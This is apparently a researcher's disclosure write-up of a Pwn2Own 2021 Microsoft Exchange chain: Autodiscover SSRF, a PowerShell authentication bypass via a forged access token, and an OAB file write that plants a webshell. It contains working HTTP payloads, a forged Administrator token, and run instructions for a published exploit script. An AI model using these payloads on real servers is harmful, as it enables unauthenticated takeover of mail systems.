Pwn2Own 2021 Microsoft Exchange Exploit Chain

VULNERABILITY TITLE

Microsoft Exchange Unauthenticated SSRF in Autodiscover frontend service combined with Authentication Bypass in Powershell Backend service and Arbitrary File Write in OAB backend service lead to Remote Code Execution

VULNERABILITY SUMMARY

The chains of 3 vulnerablity allows remote attackers to write a webshell and execute arbitrary code on affected installations of Microsoft Exchange Server. No Authentication is required to exploit this vulnerability
Three vulnerablity includes:

  • Unauthenticated SSRF in Autodiscover frontend service allow remote attackers send arbitrary to backend service as LocalSystem privilege
  • Authentication Bypass in Powershell Backend service allow remote attackers run arbitrary Exchange cmdlet as Administrator privilege
  • Arbitrary File Write in OAB backend service allow remote attackers can write a webshell on OAB folder.

Two first vulnerability of mine was duplicated with Orange Tsai and it was well known as ProxyShell bug. So I only got partial win in Pwn2Own contest.

The third vulnerability is quite interesting and complex. I learn so much about the internal of Microsoft Exchange Database (MDB) and OAB protocol. Besides it can be exploited to get RCE on Exchange Online services. I made a local presentation in my team.

After reading this blog, you can get more detail about the third vulnerability in here:

EXPLOIT

This exploit is developed by Python 2.7. Install requests module: pip install requests

Run command:

python exploit.py <url> <domain_part> <command>
    - url: the target url, for example https://ex19.exchangelab.local
    - domain_part: the domain part an email address, for example test@exchangelab.local, the domain part will be exchangelab.local
    - command: the cmd command to run on server, for example whoami, dir

Example:
python exploit.py https://ex19.exchangelab.local exchangelab.local "whoami /all"

I published my exploit here: exploit.py

VULNERABILITY DETAILS

The chains of 3 vulnerablity allows remote attackers to write a webshell and execute arbitrary code on affected installations of Microsoft Exchange Server. No Authentication is required to exploit this vulnerability

For the demostration, my testing Exchange environment is: https://exchange16.domaincorp.com, the format of an email address is <username>@domaincorp.com

First vulnerability

The Client Access services on Exchange Mailbox servers are responsible for accepting all forms of client connections. The Client Access (frontend) services proxy these connections to the backend services on the destination Mailbox server (the local server or a remote Mailbox server that holds the active copy of the user's mailbox). Clients don't directly connect to the backend services. This communication is shown in the following diagram.

An SSRF vulnerability in Autodiscover frontend service allow unauthenticated remote attackers send an arbitrary request with controlled uri and controlled data to arbitrary backend service. This proxy request is fully authenticated to backend service as LocalSystem account.

Example request as below:

POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/ews/exchange.asmx HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
SOAPAction: "http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"
Content-Type: text/xml;charset=UTF-8
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com
Content-Length: 1429

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
   ...
</soapenv:Envelope>

The value of email cookie is "Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com"

It is set into this.explicitLogonAddress if RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath) return True

Later, when the frontend service calls GetClientUrlForProxy method to construct the proxy path to forward to backend service, the value of this.explicitLogonAddress will be removed from original AbsoluteUri. Pay attention to this!!! It uses base.ClientRequest.Url.AbsoluteUri not base.ClientRequest.Url.AbsolutePath

The original AbsoluteUri is /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/ews/exchange.asmx

After removing "Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com", the final proxy path is /ews/exchange.asmx

The proxy request is authenticated with LocalSystem account (aka Computer account) because in PrepareServerRequest method, a Kerberos Authorization header is constructed and added into proxy request.

With this vulnerability, I used the same techniques as the recent ProxyLogon vulnerability of Orange Tsai (special thanks to his awesome bug with a lot of techniques)

The following payload will allow to get the UserDN (Legacy DN) of an user mailbox (I use SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com, this is a special mailbox that always exists)

POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/Autodiscover/Autodiscover.svc HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: text/xml; charset=utf-8
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com
Content-Length: 1105

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover" 
        xmlns:wsa="http://www.w3.org/2005/08/addressing" 
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
        xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion>
    <wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action>
    <wsa:To>https://mail.microsoft.com/autodiscover/autodiscover.svc</wsa:To>
  </soap:Header>
  <soap:Body>
    <a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
      <a:Request>
        <a:Users>
          <a:User>
            <a:Mailbox>SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com</a:Mailbox>
          </a:User>
        </a:Users>
        <a:RequestedSettings>
          <a:Setting>UserDN</a:Setting>
        </a:RequestedSettings>
      </a:Request>
    </a:GetUserSettingsRequestMessage>
  </soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: a1d3f976-97ad-42dd-b19a-07ed66b685a1
X-CalculatedBETarget: exchange16.domaincorp.com
X-DiagInfo: EXCHANGE16
X-BEServer: EXCHANGE16
X-AspNet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=; expires=Sun, 31-Mar-1991 02:22:42 GMT; path=/Autodiscover; secure; HttpOnly
X-Powered-By: ASP.NET
X-FEServer: EXCHANGE16
Date: Wed, 31 Mar 2021 02:22:42 GMT
Content-Length: 1314

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettingsResponse</a:Action><h:ServerVersionInfo xmlns:h="http://schemas.microsoft.com/exchange/2010/Autodiscover" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><h:MajorVersion>15</h:MajorVersion><h:MinorVersion>1</h:MinorVersion><h:MajorBuildNumber>2242</h:MajorBuildNumber><h:MinorBuildNumber>4</h:MinorBuildNumber><h:Version>Exchange2015</h:Version></h:ServerVersionInfo></s:Header><s:Body><GetUserSettingsResponseMessage xmlns="http://schemas.microsoft.com/exchange/2010/Autodiscover"><Response xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><ErrorCode>NoError</ErrorCode><ErrorMessage/><UserResponses><UserResponse><ErrorCode>NoError</ErrorCode><ErrorMessage>No error.</ErrorMessage><RedirectTarget i:nil="true"/>
<UserSettingErrors/><UserSettings>
<UserSetting i:type="StringSetting">
    <Name>UserDN</Name>
    <Value>/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo</Value>
    </UserSetting>
</UserSettings></UserResponse></UserResponses></Response></GetUserSettingsResponseMessage></s:Body></s:Envelope>

The following payload allow to get the SID of an user from UserDN

POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/mapi/emsmdb HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
X-User-Identity: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
X-Requestid: {C715155F-2BE8-44E0-BD34-2960065754C8}:2
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
Content-Type: application/mapi-http
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com
Content-Length: 149

/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo....

The SID of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com is S-1-5-21-3452439987-3899459676-4048896270-1124
We got domain id: 3452439987-3899459676-4048896270 and SID of Administrator account : S-1-5-21-3452439987-3899459676-4048896270-500

Second vulnerability

An authentication bypass vulnerability in Powershell backend service by forging a X-CommonAccessToken in url.

Using the first SSRF vulnerability, remote attackers can send a request to Powershell backend service with LocalSystem privilege. But Powershell backend service have an additional check on the existence of X-CommonAccessToken header. This X-CommonAccessToken header is passed from frontend to backend to identify the current logon user.

This header is restricted in SSRF request. Remote attackers cannot set this header from original request. The proxy request will never copy X-CommonAccessToken from original request.

But Powershell backend service have an IIS Module that allow convert X-Rps-CAT query string into X-CommonAccessToken header before the check. So remote attackers can forge arbitrary X-CommonAccessToken header with a X-Rps-CAT query string.

The following payload will demostration this bug:

POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBhET01BSU5BQkNEXGFkbWluaXN0cmF0b3JVLVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUwMEcKAAAABwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTIwBwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTIHAAAALVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUxOAcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTE5BwAAAAhTLTEtMTgtMUUAAAAA HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/soap+xml;charset=UTF-8
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com
Content-Length: 7075

....		

I reversed the format of CommonAccessToken and constructed a powerfull token for Administrator account with some domain groups like domain admins, schema admins,... (domainid is leaked before, domain_name could be any string)

Now, we have a CommonAccessToken and can send a powershell request with Administrator privilege. I rewrite a simple Powershell Remoting protocol that allow me to run any cmdlet of Exchange.

But we can only run the cmdlet of Exchange, not any cmdlet of Windows. So we cannot run a simple cmdlet like that Add-Content -Path C:\test.txt -Text abc

Of course, we can run such cmdlet: get-mailbox,...

Third vulnerablity

Arbitrary File Write in OAB backend service allow remote attackers can write a webshell on OAB folder

Before I told the detail of this vulnerablity, I will give some concepts of OAB

An offline address book (OAB) is a local copy of an address list collection.

In Exchange Management Shell with administrator account, we can create a new OAB:

New-OffLineAddressbook -Name test1 -AddressLists "Default Global Address List"

And then get GUID of new offline address book.

In this example, the guid is 02f1b6a8-8b8f-40c8-9df3-ac753563f9b8

From the internet, we can request OAB file by access url: https://exchange16.domaincorp.com/oab/02f1b6a8-8b8f-40c8-9df3-ac753563f9b8/oab.xml

OAB files will be generated for first time, and saved in folder C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\02f1b6a8-8b8f-40c8-9df3-ac753563f9b8

Besides saved in OS file system, OAB files also saved in OAB folder of a special system mailbox SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com

We can check this by calling EWS service on SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox

In OAB folder of mailbox, there is an item IPM.FileSet with subject 02f1b6a8-8b8f-40c8-9df3-ac753563f9b8 (the same guid as before)

So for each OAB we created with cmdlet New-OfflineAddressBook:

  • There will be have a corresponding folder in C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>
  • There will be have a corresponding item IPM.FileSet in OAB folder of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox with subject <oab_guid>

The process of generating new OAB files is:

  • Step 1. Get the oab_guid from url /oab/<oab_guid>/oab.xml
  • Step 2. Check the existence of an item with subject=<oab_guid> in folder OAB of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox
  • Step 3. If the item exists, download all attachment files of this item in mailbox and save them in C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>
  • Step 4. If the item does not exists, generate OAB files and save them in folder OAB of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox

Pay attention to Step 3, here are some demo images:

So if we can control the folder OAB of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox, we can control the files in C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>

The vulnerability is in step 3, when OAB files are downloaded and saved in OS file system, filename is not checked for malicious extensions like .aspx, .ashx

So if we can control the folder OAB of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox, we can write a webshell in C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid> and access webshell by url /oab/<oab_guid>/malicious.ashx

I combined two former vulnerablities to control the folder OAB of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox

Using Second Powershell Authentication Bypass vulnerability, I can issue a powershell cmdlet New-OfflineAddressBook to create new OAB, and get the oab_guid

Then, using SSRF to send a request to /ews/exchange.asmx under privilege of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox (the SSRF request authenticates with LocalSystem account and therefore have a permission to impersonate another mailbox user with SerializedSecurityContext element)

Using two vulnerabilities, I do some the following exploit steps:

  • Create a new item IPM.FileSet with subject <oab_guid> in the OAB folder of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
  • Attach two files oab.xml and rskvp93.ashx in this item (this step is so complex because I must use export, import techniques to control the hash property of two files)
  • Trigger OABGeneratorProcess by accessing url /oab/<oab_guid>/oab.xml
  • OABGeneratorProcess will download all attachments in item with subject <oab_guid> in the OAB folder of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
  • OABGeneratorProcess will save all attachments in OS file system at C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>
  • We get webshell at /oab/<oab_guid>/rskvp93.ashx

CREDIT

rskvp93@gmail.com (from VcsLab of Viettel Cyber Security)